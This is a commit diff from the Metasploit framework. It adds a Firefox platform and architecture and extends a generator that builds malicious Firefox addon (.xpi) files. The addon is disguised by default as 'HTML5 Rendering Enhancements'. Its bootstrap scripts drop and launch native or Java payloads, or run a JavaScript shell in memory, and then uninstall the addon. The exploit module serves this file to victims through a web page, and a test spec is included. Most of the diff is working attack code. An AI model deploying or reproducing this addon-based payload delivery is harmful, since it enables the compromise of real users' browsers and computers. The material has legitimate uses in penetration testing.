Add firefox platform, architecture, and payload.

* Enables chrome privilege exploits in firefox to run a javascript cmd
shell session without touching the disk.
* Adds a spec for the addon_generator.
This commit is contained in:
Joe Vennix 2014-01-02 01:10:08 -06:00
parent d291cd92d7
commit 694cb11025
5 changed files with 149 additions and 87 deletions

View File

@ -10,63 +10,76 @@
module Msf
module Exploit::Remote::FirefoxAddonGenerator
# for calling #generate_payload_exe
include Msf::Exploit::EXE
# Add in the supported datastore options
def initialize( info = {} )
def initialize(info = {})
super(update_info(info,
'Platform' => %w{ java linux osx solaris win },
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
[ 'Universal (Javascript XPCOM Shell)',
{
'Platform' => ['java'],
'Platform' => 'firefox',
'Arch' => 'firefox'
}
],
[ 'Java Payload',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 1
'DefaultTarget' => 0
))
register_options( [
OptString.new('ADDONNAME', [ true,
"The addon name.",
"HTML5 Rendering Enhancements"
]),
register_options([
OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
OptBool.new('AutoUninstall', [ true,
"Automatically uninstall the addon after payload execution",
true
])
])
], self.class)
end
# @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
# 'application/x-xpinstall' MIME type
def generate_addon_xpi
if target.name == 'Generic (Java Payload)'
# @return nil if payload fails to generate
def generate_addon_xpi(cli)
if target.name =~ /Javascript/
payload_file = nil
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
payload_script = regenerate_payload(cli).encoded
elsif target.name =~ /Java /
p = regenerate_payload(cli)
return nil if p.nil?
jar = p.encoded_jar
jar.build_manifest(:main_class => "metasploit.Payload")
payload_file = jar.pack
@ -80,6 +93,7 @@ module Exploit::Remote::FirefoxAddonGenerator
|
else
payload_file = generate_payload_exe
return nil if payload_file.nil?
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
payload_script=%q|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
@ -98,26 +112,30 @@ module Exploit::Remote::FirefoxAddonGenerator
end
zip = Rex::Zip::Archive.new
bootstrap_script = 'function startup(data, reason) {'
xpi_guid = Rex::Text.rand_guid
bootstrap_script = %q|
function startup(data, reason) {
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("extensions");
|
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
bootstrap_script << %Q|payload_name="#{payload_name}";|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("TmpD", Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
if target.name !~ /Javascript/
bootstrap_script << %q|
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("extensions");
|
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
bootstrap_script << %Q|payload_name="#{payload_name}";|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("TmpD", Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
end
bootstrap_script << payload_script
if (datastore['AutoUninstall'])
@ -137,7 +155,7 @@ function startup(data, reason) {
bootstrap_script << "}"
zip.add_file('bootstrap.js', bootstrap_script)
zip.add_file(payload_name, payload_file)
zip.add_file(payload_name, payload_file) unless payload_file.nil?
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">

View File

@ -516,4 +516,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "nodejs"
end
#
# Node.js
#
class Firefox < Msf::Module::Platform
Rank = 100
Alias = "firefox"
end
end

View File

@ -64,29 +64,30 @@ LEV_3 = 3
#
# Architecture constants
#
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
ARCH_PPC = 'ppc'
ARCH_PPC64 = 'ppc64'
ARCH_CBEA = 'cbea'
ARCH_CBEA64 = 'cbea64'
ARCH_SPARC = 'sparc'
ARCH_CMD = 'cmd'
ARCH_PHP = 'php'
ARCH_TTY = 'tty'
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs'
ARCH_TYPES =
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
ARCH_PPC = 'ppc'
ARCH_PPC64 = 'ppc64'
ARCH_CBEA = 'cbea'
ARCH_CBEA64 = 'cbea64'
ARCH_SPARC = 'sparc'
ARCH_CMD = 'cmd'
ARCH_PHP = 'php'
ARCH_TTY = 'tty'
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs'
ARCH_FIREFOX = 'firefox'
ARCH_TYPES =
[
ARCH_X86,
ARCH_X86_64,
@ -107,7 +108,8 @@ ARCH_TYPES =
ARCH_RUBY,
ARCH_DALVIK,
ARCH_PYTHON,
ARCH_NODEJS
ARCH_NODEJS,
ARCH_FIREFOX
]
ARCH_ALL = ARCH_TYPES

View File

@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::FirefoxAddonGenerator
def initialize( info = {} )
@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This exploit dynamically creates a .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page with. The victim's Firefox browser
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
@ -31,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
uninstall the addon once the payload has been executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'mihi' ],
'Author' => [ 'mihi', 'joev' ],
'References' =>
[
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
@ -41,33 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.xpi$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
def on_request_uri(cli, request)
if request.uri.match(/\.xpi$/i)
# browser has navigated to the .xpi file
print_status("Sending xpi and waiting for user to click 'accept'...")
if not xpi = generate_addon_xpi(cli)
print_error("Failed to generate the payload.")
send_not_found(cli)
else
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
end
else
# initial browser request
# force the user to access a directory-like URL
if not request.uri.match(/\/$/)
print_status("Redirecting request." )
send_redirect(cli, "#{get_resource}/")
else
# user has navigated
print_status("Sending response HTML." )
send_response_html(cli, generate_html)
end
print_status("Handling request..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
# If we haven't returned yet, then this is a request for our xpi,
# so build one
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
print_status("Sending xpi and waiting for user to click 'accept'...")
send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
handler( cli )
handler(cli)
end
def generate_html

View File

@ -0,0 +1,38 @@
require 'spec_helper'
require 'msf/core'
describe Msf::Exploit::Remote::FirefoxAddonGenerator do
let(:datastore) { { 'TARGET' => 0 } }
let(:jar) {
j = double(:pack => '@JAR@')
j.stub(:build_manifest)
j
}
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
let(:framework) { double(:nops => nil) }
let(:cli) { double }
subject(:mod) do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod.extend Msf::Exploit::Remote::BrowserExploitServer
mod.send(:initialize, {})
mod.stub(
:payload => payload,
:regenerate_payload => payload,
:framework => framework,
:datastore => datastore
)
mod
end
describe '#generate_addon_xpi' do
let(:xpi) { mod.generate_addon_xpi(cli) }
it { should respond_to :generate_addon_xpi }
it 'should return an instance of Rex::Zip::Archive' do
xpi.should be_kind_of Rex::Zip::Archive
end
end
end